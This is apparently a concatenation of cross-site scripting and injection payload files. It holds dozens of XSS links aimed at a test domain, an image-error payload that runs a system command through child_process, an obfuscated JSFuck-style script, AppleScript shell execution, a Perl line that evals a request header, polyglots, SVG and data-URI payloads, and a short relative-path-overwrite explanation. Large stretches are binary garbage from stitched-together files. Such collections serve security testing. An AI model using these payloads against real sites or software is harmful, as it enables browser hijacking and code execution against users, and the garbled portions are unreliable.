<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=position:absolute id=xss>#xss">position:absolute</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=position:fixed id=xss>#xss">position:fixed</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=writing-mode:bt-lr id=xss>#xss">writing-mode:bt-lr</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=writing-mode:bt-rl id=xss>#xss">writing-mode:bt-rl</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=writing-mode:lr-bt id=xss>#xss">writing-mode:lr-bt</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=writing-mode:rl-bt id=xss>#xss">writing-mode:rl-bt</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=writing-mode:tb-lr id=xss>#xss">writing-mode:tb-lr</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=writing-mode:tb-rl id=xss>#xss">writing-mode:tb-rl</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=-ms-flow-from:xss id=xss>#xss">-ms-flow-from:xss</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=-ms-block-progression:bt id=xss>#xss">-ms-block-progression:bt</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=-ms-block-progression:lr id=xss>#xss">-ms-block-progression:lr</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=-ms-block-progression:rl id=xss>#xss">-ms-block-progression:rl</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=layout-flow:vertical-ideographic id=xss>#xss">layout-flow:vertical-ideographic</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=-ms-wrap-flow:both id=xss>#xss">-ms-wrap-flow:both</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=-ms-wrap-flow:clear id=xss>#xss">-ms-wrap-flow:clear</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=-ms-wrap-flow:end id=xss>#xss">-ms-wrap-flow:end</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=-ms-wrap-flow:maximum id=xss>#xss">-ms-wrap-flow:maximum</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=-ms-wrap-flow:start id=xss>#xss">-ms-wrap-flow:start</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=column-count:1 id=xss>#xss">column-count:1</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=column-width:1 id=xss>#xss">column-width:1</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=columns:1 id=xss>#xss">columns:1</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=height:1 id=xss>#xss">height:1</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=max-height:1 id=xss>#xss">max-height:1</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=max-width:1 id=xss>#xss">max-width:1</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=min-height:1 id=xss>#xss">min-height:1</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=min-width:1 id=xss>#xss">min-width:1</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=width:1 id=xss>#xss">width:1</a>
</pre><img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()
＜℅ncut=find()＞x
¼script¾alert(¢xss¢)¼/script¾
“/>.<<img src=x onerror=alert(1)//\">><>
“>><<img src=x onerror=alert(1);//>>;
†‡•＜img src=a onerror=javascript:alert(1)>…‰€
tell application "Terminal"
do script "cat /etc/hosts"
display dialog "XSS"
end tell
do shell script "open -a Calculator"
<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg onload="alert(1)" xmlns="http://www.w3.org/2000/svg"><defs><font id="x"><font-face font-family="y"/></font></defs></svg><svg xmlns="http://www.w3.org/2000/svg"><onload=confirm(1)> xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">alert(1)</handler></svg>
<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg onload="alert(1)" xmlns="http://www.w3.org/2000/svg"><defs><font id="x"><font-face font-family="y"/></font></defs></svg><a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href=" javascript:123">	</a>
<a href="
javascript:123"> </a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
javascript:123"> </a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123">
</a>
<a href="javascript:123"> </a>
<a href="javascript:123">　</a>
<a href="javascript:123"></a>
<a href=" javascript:123"> </a>
POSIX;eval($ENV{HTTP_USER_AGENT});exit;static const struct runtime_target runtime_offset[] = {
{ "iPhone12,1", "18G5052d", rt_offsets__iPhone12_1__18G5052d },
{ "iPhone13,4", "18F72", rt_offset__iPhone13_4__18F72 },
{ "iPad8,12", "18F72", rt_offset__iPad8_12__18F72 },
{ "Mini9,11", "20F71", rt_offset__Mini9_12__20F71 },
// duh { "Macmini8,1", "20F71", rt_offset__Macmini9_12__20F71 },
// duh { "Macmini9,1", "20F71", rt_offset__Macmini9_12__20F71 },
{ "iPad8,6 20F71", "20F71", rt_offset__iPad8_6__20F71 },
{ "MacBookPro17,1 20G314", "20G314", rt_offset__MacBookPro17__1__20G314 },
};
" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//var str = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
{{[].pop.constructor('alert()')()}}BM/* z l Y BGRs */=0;
/* Remote File Include with HTML TAGS via XSS.Cx */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-javascript-injection-signatures-only-fools-dont-use.txt */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-http-header-injection-signatures-only-fools-dont-use.txt */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-css-injection-signatures-only-fools-dont-use.txt */
/* Updated September 29, 2014 */
/* RFI START */
/* RFI STOP */// <?xml version="1.0" standalone="no"?>
<script>
</script>
</svg>GIF89a/* 0 ;*/=0;
/* RFI STOP */Content-Type:text/html;
Content-Transfer-Encoding:quoted-printable
=3CSCRIPT=3Econfirm(document.location)=3C/SCRIPT=3E<script>alert('XSS')</script>CWSi xeTRFږe1@44 d0!R n _$à,
+If:I'kr^Ы+ L4=;~g9_ ` Nq 'ם#q<0-V/*}ϳ[4:u.Ύ$7f5fO*퀠C\1lϠ :^T*7zKj 3Td@,ϕ#ԖNضMC>4} +RMxgF/xd%G:`-ھ&* HC4*S pi Y*!أ/6obr/I$]G'JlbSn4CuOOiXX _.^woN_wD`U: 8>|F̕`w,Yi~r;zළl fwPC*UAIElibxa] sCaTCԈ#nշ#sQwwu h&'D :w
:^ 6M:6#cu|&7v>8 $h]W XߩgݘC6)f-ma|."ILfnJMYޖ.X(B&numY5vB
a,( qEBY J#W$'I1 BqII%Ԥ37I"xo*nSJ}iJwI{ mzY^6ۛ_@V1KWJNj\rn ayP~P.Kߔr >Jgyc) exQGB ỵ2 hG H y /wl86)<:S`v s |)4_B(-CD~/459Ӵu q:(HGOql?6J\ ד 7> D( 0,Lx$7{ 8&`g"m(.JA/JQ/ʜ>'+|x VcqZ7e?SCWS
" xmpו l%/y, IG/~E1Ʋ,ƅ04#F\IƸ@:C:5YgݖII2Mx~vi],۲M /nW?s9sQ<
EQ]*̊Җ #xʇ Drپ}uyOMӡޮC
'h"СXzݾ= J 2pbu44n#_ i҉@"kK+;J ֞I&"F*}.m=zws{xn]\kCCth}rC z|
]F&ɟZjmTϫP^9Gǒ1PeČ#N t($#t{ht4
CD>"/M +ӛ<2ZNȟN
L~#K
;֚;JacwW;z4:kv;=]Mۃ^olܾkN]֕ɺy?xo꺷dt86nwC֠xj47MM^Ž\d1ԝLpFCɔ!+þ^*Y&|-ACKކ}n꺷L_B1[ڵvkJ /]}x#.E_뿿cͣ(Tu :bƸ֟ a zGaկhɥ `r <<@ *-ϐg IU\R4Yiu[q*@~'< NeRN3#T tOr%?©ܚ+@ wHN0i 3#~ xr X>[Tw2@|3s\g:3יG@uf3s\WBg:3יuf3s\g:2( Ou X|L><{ |' ss xk,k vg)TÏ5XAr@nj {L?mISS z@?r{@b?x sɥ% !? [8!zQFv(J*UmKAPOCKC *orIMrnsfUh)x?F1ڌ#XAp89~e+~P`&\bZXJAu|*ƮXgo.;ۋj
ipQ'77777777AoW$5 4'33{
gpwznm^~
T{&AL'sz3sy0x$(o9:Mjƺl/0 l/0 %L'ԋu|<r /2EFȈq*n3Y0x |){M;: y9j.Psk`vu'טk| L/N2 ofNԿ<_ga9L34O34O34O3O?Rσcqp[`O]Z^qO}DNWOo=S9cJR/3eƽ̸2^fˌ{q/3e=3$(o
؟RT[8JoҳLҳ.-ST oW<O˗(OW@ҟ"0: _L~sՍL$/Q3M^PYT鐜&So@3 F gIн|܊YPG k|N&WYUV**k"_RKj|J}_ػYMj@MW@Y9}ΕXŷf'\c'\kv]k]c'\k0z^{0 ~Çp w#`۠ja>3g0zf k-7
p9+<17_MVj(K R7UtW" t?SKK'x:sbQ`&,[2]lo/:OkiktZ ,[[+Ք5нo^jtpp*^"
ȇAaQQvVqszEcU1*D|)[
S ܭ [9Z*t3YLJ̲$59jV NZSVQC5Y(}JVQFցsY'VaG͋Avβs+(Lrc]:J>
: %2P!
s0C<rK55୕ZEV*U୕d5(sE>v@-ցL=8:W X'[&2:MXbŠ@Jn粕83eWf^_ѠSM'O7l`k3$$S?e`A^%(]W ,.,wO\pB(&5P kܶ\_]
7ܬ]'e/&P|{+m`:秦 &HZ;F߃|4>0h (ώtxC4[_<\o#s5PQ7WONzH/ l[+r5d E^wK{;R6@٫MWsXijU"&'Y5 ˹ͤi'wf]#e92h ,量LZxO#(LMd3BhAYwS.ܗVff b;a 5>S쥧;O>>r=:T<\4H˥v d'GK.ʽKEjc`9xk^ViG
= \*vpvU#R0Qe?CH;]pHu@4-9 u&@}de> < w@ ʻmgiGysM`A^3x gw~ cXQ%8^te 5d{ s`s VsV3OH,y8 v-7Ѳ|wrQd'E G x_u >P3]<#R_iKy/Y" ;6{##j' OPIZJ.t빋܅/Df|MB_Yk2҃C<Xvnv =ݾ ]UvW,Y)zyS+j@aj죾vz?NAڔ<{YȤTa5Ps 3ù2>>vc Nb'5j((乖tr\.
MΧBDH3j/VP*4.*%*B/8|{ۅSc7)w%2SV?mT Ţ I\Ւ|տk**1_9(3chz"L&TYR/rco(EƦթCh,4Q؛85hٚ~c<JF}Ca}d4>GCt(a#B8123&2/2ըq#]DhHnDCic ] 3Ri3"/ /z !.'Jq#y_0_o^Ѵb5aw ?#!#bжե<kmXE%uxt-XFK'ḑLzj<3c}N$cߌ5rt7Ƶh|(1~ i>v6 ҒDP/Qµopb[Oz ŌdzZCabҡk2y T:1Z N$S)m/:֝|+LRёX?;74L,1n "HblH퉦KL
|Ք_v7Ech|X:KK( S Ɛ0R/b5L&Z>
5?ñ! o*Vu#P4^Cɑ& B> p
ɓtɈZ6 4Z4}S[|ߣ .XՌEײ#}~ RN*VD<3>h'cհO8zqt47; =M*\d'm6 ܖ_^`+Km[͊Y)l&[jnٞvm;m 6uقʂ]OWSʞ
yZ̦
7mV =lR^QYGVcw=xŔg1<EXEyżbl1?d1[-bK~Rf<l,
b<b1?j1b-f2Y{->E+oQYea?{IB1[̊@)(Xo4)&"`SLL"uֽK5mY}cF
XM-}YA]ݐ=MASx6$7yF tY
Ӿg>U.ᐨ{u}W?Ƥ+|^Q5,|EU͊|bdŻSOkOog5O@T}'չ7徙y[MAEԼ
g2ӉЩWuB5mx|=;%R 8lHa ^H,}E&滕jȦ*&?72 |=X |=<<9|giZ7 _uB# XSS with Relative Path Overwrite - IE 8/9 and lower
You need these 3 components
```javascript
1) stored XSS that allows CSS injection. : {}*{xss:expression(open(alert(1)))}
2) URL Rewriting.
3) Relative addressing to CSS style sheet : ../style.css
```
A little example
```html
http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE]
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<link href="[RELATIVE_URL_INSERTED_HERE]/styles.css" rel="stylesheet" type="text/css" />
Stored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))}
Explanation of the vulnerability
> The Meta element forces IE’s document mode into IE7 compat which is required to execute expressions. Our persistent text {}*{xss:expression(open(alert(1)))is included on the page and in a realistic scenario it would be a profile page or maybe a shared status update which is viewable by other users. We use “open” to prevent client side DoS with repeated executions of alert.
> A simple request of “rpo.php/” makes the relative style load the page itself as a style sheet. The actual request is “/labs/xss_horror_show/chapter7/rpo.php/styles.css” the browser thinks there’s another directory but the actual request is being sent to the document and that in essence is how an RPO attack works.
Demo 1 at `http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo.php`
Demo 2 at `http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo2.php/fakedirectory/fakedirectory2/fakedirectory3`
MultiBrowser : `http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo3.php`
From : `http://www.thespanner.co.uk/2014/03/21/rpo/`
## Mutated XSS for Browser IE8/IE9
<listing id=x><img src=1 onerror=alert(1)></listing>
<script>alert(document.getElementById('x').innerHTML)</script>
IE will read and write (decode) HTML multiple time and attackers XSS payload will mutate and execute.
## References
- [TODO](TODO)<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script><a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1337)</a:script><script>alert(1)</script><script>alert(1)</script><a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+Cg==)\n"
]
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.6.2"
},
"nbformat": 4,
"nbformat_minor": 2
<svg><title><![CDATA[</title><script>alert(3)</script>]]]]><![CDATA[></svg>
IHDR }$ gAMA a cHRM z& u0 ` : pQ< bKGD *Ѡ pHYs .# .#x?v tIME 6. VIDATxY$Y%+"j KƒtUMO7=`0 n &_O_>$ p 67tOUWuUe-KDxDۢȽ;|5t77=$--DEE^|V8}+Ê+!+!+!+!+!+!+!+!+!+!+!+!+!+!+!+!+!{z( A( P(o,B@L9f([!ÁlN_ %Rg<șUf d&3u<o4DR( >|>mU Дэ
Cft}q#<_S ªpCʋ~g 胗Tje3}i#<_
8P F1K f)g Ҁ. z(Vt> Tb&
w7#0<S!K:Uzf2MJ)z/wUT? B.ƭ7]\+LF#d G۟? 4Nz_m84/5 -EXԚ? {ｋ[;3"\;'y ^Ṁ^m#F7YS̖ ToU7y0V y769(B0Nŀ,ip k/n QID51Н >
+&0:8z i(* Q 6D:Uݿ~ 23:rߊHRKɹ>
i9쥨g?כaS!A^`P@WqEyy-F̉jF>;w_|wb@@!0+ <ʮur9RNɻinVt]re2/evo 2H
(+?WVX6yļ.l?<ā ԫZ~A f6 U i8 >:unu
rxn@!!k5Oެ q`
*+ƾNRGD:Kf< 0М N^ |?_20IJ1Rl><w3PaUK?0Xu9#M0>8Fy0m5aJ`[U/L(
J<eԅÂyfj*bX[[-o %տ 7l*p OGU$Y] _3FlPT|?tQ5мhU$ hw}[P+ YWơ &֍^ɴw7R. #|Cp\+n^fgo?=T3Zt}wV7M= )%Քy2E;Z\N^~|\|~ SynC/%"3.`4suunn#%rC69 E_} '~> W'H1V+ _jP}:ǵG&tYD'7 wa坿ryY"7:RM He #ӻ^{\ GY |
LbeHGp^D<E?>ˋzmpX*J,r9"*ΟO&;5lj :XN_ U5X _J$(A>7î8^Rؾ*>E˔g;KsE `~ |~|/~~a
fP
r{#K#gG= #H8p*)/a^ͪH
bu g [|2HkϾ,7(qıy(E۠bRJHleU a{3pHlAqZ 3% u5M QH@b!!(Yͧ?t}gBX p
eX%:;kEf$ ɪӂk6 `76{@2ԯ:ma@5AqSO=: ju?-|i+_խlEU'l#Weԋ;Br*?FRu_gEOwv<ko]d Wq?kA FŻԯ ( Ӷ""ޅ?=]
ѩvPx(˝L͆o^:}|?ܐMhu<_-1cؒ/
S7]Tv_( p [ݙ9Cqݪ>ŢAe^/@`!RSٍ
{Zap(TF0*4^?4%CQ[J~__;hrʍLŌxeX2h_EgpZP4/Msm(p,gIp6YY^DbJKt@ bhe n";,EwE?bܼѣr<+ &M~8*}퀪cX' <O:NzQ &q G01*g7l]$7N bݥ[4Q]V$Ќ!X,^XL%o= \9F[?nEQ sm} ŨXk+UnX,G wg?IfgO4 蠳O ~&|z LεL]M~ P s.
NfwWU%GkxLͭ|8{ Ob?;X[*3s 2h _ nYAlBJL p?<8\)~{g~3 e jZ6撈:~^,"c'U,x"%HRtT쫰R8;pc[`A7rcemk?&rc >.X~kZcN8' 4U0jZC0?n3G4:e)ݟ0 l JL#g{`g Ogi\DG*Y e V6*ʼpuBN ݗExgq K؟Rvl:rz
t*Vr/d" <t'գZq g_ d o~࠳bfS@*Bb۵$OrC2ԉMi,,E@X >+ÐNEѝ0BsRR
fPT~wv^_$ٳ=3A~AjPMFfc7ѣQ@P]'@USm9.D> txwϷz1tg`cq 0.ڭtVE|ӷo\V>qBbM4`Q,@7oHmnǓAaxOQd!XR& e[)4ks8LJhnuV2^RAȎM,RHd%Sٰ X[05JbE~'_\0D#oCsv)EFe2حBujN):jc F ?Iю>Lh7Lj,vq1URQ^]0h0q^ >[6)֘G <^@B@&3Tņת-#19x^X ѽ߃,XNi!l2"߿r}'44.ȹI$x >?7v1=j9xwyG\]UFt]2+0ltq-{qPLd?d I>'P h=OcJK sVjI-Y(>2_Ϟ 8ho|O\_chѼĞ)KSpag.64/x1" "B]@xJ6խ6BؗP~Wa0"Pc!_-~i7}Ó pqaOHőgݍVU7Bq=S&+a !?Kb 9g/ 5Z/ r ѼLp2[[Ƹ{]5ثHI.٘*u[&L+yk<{-x1t&Urٓ_
ܚ
~J,A.aS Ui<*>2?pK4b, V+v5w7!V9`"~Ў_F$ӹnϭ1/LJ/}OKݣ(UU-$"`4xyj?x}s<3 0ň sx~L_DphhUUhAE GV`'/T11! @בh.&&|hɚ iytze!AX1"~/k}ʤ>~t'^ݪK@ Nz0id8ch4Ì2pgXãt B<o,>AL
4!j c)5< (QmCJl&?qn`h:iE|O"4 x0/qs[wSb?+]0rN "K%/SpS 5K w/;c Kk݁~c: f3[f*cKjl,4;,os@%s1҅@GgU!djXC8I؋?ȷ7ZSVg *'^#J @7v ZˏqPLϠ|xt=M
!sUf]k<NDᵭMTg4Yl0 ci
af=xH&6VYD9>j w1KGm6[胷8Vu6X9'k
Fקx
Hz/cT\`4MD7ʃdy7˟?x'!G@A*,9M,@ KL7VFƌe6bٝ+Ix`O_cm&ϧSSa翾?s# ʑ!Rw)Vw~矷BZ JhI[6,FkkkaK X+Nz dSl}Y0㍫?xi~{gi`FW ; fi 1Ow?kjec ւX:aR3C|/W0"K_BJIQQ#Ska_٨1wѣ|Y_tVko\˛c4S =3 %PۻӝFl69FTuOm5%`>e0%l;C RɯZ Q ?
)bKO^,ɼ'Ãr:ytfgbh e&kw>/］s~=Ɣ
M[8-+67_IBvf;ݳ[gP. #w5AB|#z{usxzsktG5f @Rͬnwym߸=´KaȄu`n&.]̭vrb fհ:`n<֙VBrKZhӆ: oϪX: +<$*yJ@j|0/öϦkGvVuQ2 Q 툞jGӴ6
6LObK2 U^r) I9J#S;.7?ᔬ ^b^AR=܈NEe\t?Ńyu
@Dxc;`g -W"?<Bi܀vɥ7Ӟ8E dEt>UХR.?psîJU0YU¬*T\=х; =֯gՙ#cO, 1VgY( s3=ϗd
_k"5 GU1@nkO ڧSŠNJR9 ^\t?] BbL]:Ҹ*f O{ t) @Zbv/.NbX1|tlN ABvbQXJQ)gOKO09A)%``q~<|ngl y"8⥈1EY'Ç>(j2h&=Kۓ_|8σh\S4 ^m"8ɂ O\'')M)`X!"xM];{O @\ B?kh1}
xys'.P SE.1dqͭ?KBc6_ :
>zo^ Ap7`s?L 9DzR{J2u$
F9j? l$Ug\jZ*̥&PͿdZA#F* E1v](O(\
*md\Kzx De_ot2K ==CcJ P =᧯5 %٢ʲcn#RlBAgu^Yhsi C0]2Fύ՝?|sm3v
+k 7KLSl4ө|ndH2;yk)( Y>G. Ŧa(̵+ 6r^: <o&2sB /uҚ*6{յ[5;zJ/e# =5úFu8
_
ibERBUd Kf@3 ln\tR~GX ;4jnR?NXݏt b Ѧ>
.n7dQnL-Zӭ_'V
O4`6eZs*d?ymZD3$_&v7U
&Ƽ=^
"Bh9wn͢ٵzu|`JLAi¯>;*ypN?rbTKݹAadZjwՁJ\b)ܻ`א_0alЕ=2L0<6r}҄P`X.7Y6ܥ_Gde!;#KXGubX(){cr4k%s97tg er"8e]۪>>ylr@җUY_I ]6#7Z[b^kR*AAN0VO?~zTf<./urd)9 Hnۗfڙ ,#M a:ݽaVRxX[SE/C桊]J)MQkS!b 2S?Z/_`݅ [lTݐ7ҷyOW4?Go\ bG\GF Qru= _ݚOFT^IzMARB f)ɂ\R!:ඹ1z&I@z~"L`L :\?}g]Iګ2J "Dai&,(Rg $Ijصv̻ eh@"'_Gu%#!R.[x(ȝR 4)q*wO9Bg3 \U fOW%`X5:_9?ꙻ@"Vʖ4 s^xmQST^wQTl k44UJxIR5եv
Xط%ɊG;u$Lv_o~p:*~~'*=S ~VO:-7dUP|i&dM ;t9Ke1J 3tY \]*!Ӱݖ,]l0 ^`
fy\F]BUy0,l>onn4}k"d'N>ڵp!%ɨ&&JkZ mG9+w!wdKSf?}3Gio0{ ˗ vL^ y1YO1
fb0 f)G d5}DF nl m,Ne̷! l;,+?Ce,2(n{2퉐DB Z|zn;P>KyH@RBٹ\}p tͺov|,W%`n/W C]J% [^~t m܆BYmyzi~>&Rl`3u]U mu/n#223]Z=T*y3[.?Qgvޝuq/ N?2)uZC ⁖)b<9yĘX/nn 3M})N(&EdTʠ˥~xڵua*`6*ÀPyYl05s{ca}qfHӂ !<9_/= e6>s;~S
E.ꤠL T^)/ w {U$h>TdVa2TUfU(9 M
ZT`0i a1x6^4 X3X!i*Mtw6Y,7ڜ 0ysѤ3*ԧJt0iӣY[&4;7u41ĥXnM5OʪjƇw?BѤ̣lOO}D@j3ߋY(ꅨO; v}2?!]%\Vr4o>yȇ 0|T~^ۺL%(aʎR*!p. P!܄hVwk>xWW:O L )@K fwgpX]}_xE莧|qz<t8ӷ7U)Vf ,l6!mf,d7T~UU| s DFrpEs "4:#Z7F JU4\
lzib%OeEH
ݧqBmO0UCcwrazXo?}V gPsw%$8bp uU{ NrmTbhĹXT*QZݍ7w^RBB(V-e?ׂM2-Af].شsdH"
ҝ0Ty1|eѧv 7U:_ܼCـ*r^` >xv!di8sjtFz9ؙ@7s*RRg K :V! ̊>
Y^[ؑr~sW|$DPiل17~Ps"HUHMۃO^ 'LBTD XT?nln>
w:$*br
A=wwҠk r.0\Ä;nY)J"@ Mc4/Rj5+ ]5kͳىf,
*M^+)Y>K$ChKnwi3y1ά\/^kW(.LXd
,_^Os2*8Bu"1 ,Aȅ?}Oq>`<"(n" S75C!v.
U]ӿt7.9
MK~xKU1{XdUsC 1矌}˄ʄ+ji|\کfَ"sWX$(룘W]4('9IR~nLpm}謖rB PA
ٹ}n:ᄛ 繅}~Ab.x{/= J)q R ^@+xm-fCEjd T!fw|{C#ro
PXjRX1y.=0uY~qg?XwcZFa md-t=tZkvP:Qp*Ic! $b=?k{7WH-n
>,Kw1 ;SԧD%+ Vշn?~[ -EŴ.-fۍcFr)(ռU]nwi \DdQ&zu s
C稃*٪`H{g{o9<t+8h!)[56 .#R
D
2:Yn/*T!|0\t2cjfg<I :
^h8[jA;шѬ Qql2W
ҽo.D `Øù͍ ×ibpy
뺀:6q0bRe$6Ѭk2KCM͊e W o? M|BJ 4^]ޏn\-iL$
`Xkv` X{KH<GrtG
<x rP5ƀ\Z&#%h<Rwes8n/5MXt")U՝G]۸2JLd), 2SfA[Eh]`PaҠI<uƈ~b0# Iz|| ()Pb-WX<Lu?y}J1vNDr N [y4U=j~q'HW(+D1UMQ沟Z-E ?xolmYa57\ H4!mmo %
mNX)b&P5^1[
:b/8o %K2ɟk+H#6 _Λx<Tɪn:G: "/ [~ .n7 <ՅT^NV.?XhW) @rRi
]X+Si0ۼpoed9@(&(֟9֦*R]P &)gtQN8+A]&iOf=7t? 9EZq7\o^4їuhb ~M_t.07llÇX@tTdR0:Govʠ~t$_d8bWP]U|t{
m$ &X>U__htP`uu{2ݿ' DUN{E;4D~Jr` N:kj`kЩÙ!rf^ r ZAh>ڸ騢/ҍ^d
UP5 :L/4~ww6~ jgPs>;-Eu!r+'PBӲ j}}tСy3/l:GsZۆVٯHH_gEn{1f BP l_Ѡ/j}iAȼ4oFab vña7/( \kl_GK~ڎ]g=Skiccʱb
<shne?U^'8Ctbsk;ʿ;hgxWx YLiABBr6rP&@d>݊g| )xܝ)j
Ѿ|S)Plj4Z h '?İ=W?3Dyr Xw/x1s U2 FN5L&R=(,
\|E ށ! %?
*`02#=> ~q0%av L4n bkc 5'<*Š2 [Xb,\T Œ`'Gzs}}=Pc #@ITű րss @wJRShXDe?TN {NN+Ρ(q1 !C41DN {0u`p`4By7 {aTBqgvnxt(QƜ8
B șOZqG0XhT= ( Vi]wzTيH(H=v,Zg
RNx<siɖSF ZT䎳 o/7x-u2s
Gz; ЗBh[4; LUPn$?/LO3LpK*S)e9 S,~ۏr !wo\
T.F?Z䪽5h om<WdR-(SifIUnhry UϤoETOA6eK8ݟF. k
\q @P6yPh34XrMZ4f@NNS)3 M (ч!81 [nZb?n1$ߚ:JK
5xt: T.Γ^YB {WܚeOo/ݝA@;;dXXnTar3Lr3wk{o/[Tzƶ>RpGOGm2皗y%%x)ɤ~pity=VJ9lB &k i$FiW";;6vBObp@shR 8cfE,O4K]-߹lΗ
˲ZT q{ ^Fk ӝOvLo_ TaİDjQx``eCwCb)y|pe3^ݪCi
pZVoTߡBpWma]dJ];'o^^2?u=&|2yl2h Y
rُcYn\a LԵ/lT0 &M_ /T oFʍ7[c/kuv^hWvt!߂"b ht3La;|m|6^??ݘZ9u5 3
+&niΡR( Ga/湞y_iqvƓiJ9ʧ eBTӲU H/ր{~7{UY eXtÁnvw if-!: aOU ʝu{j^6TM{ #
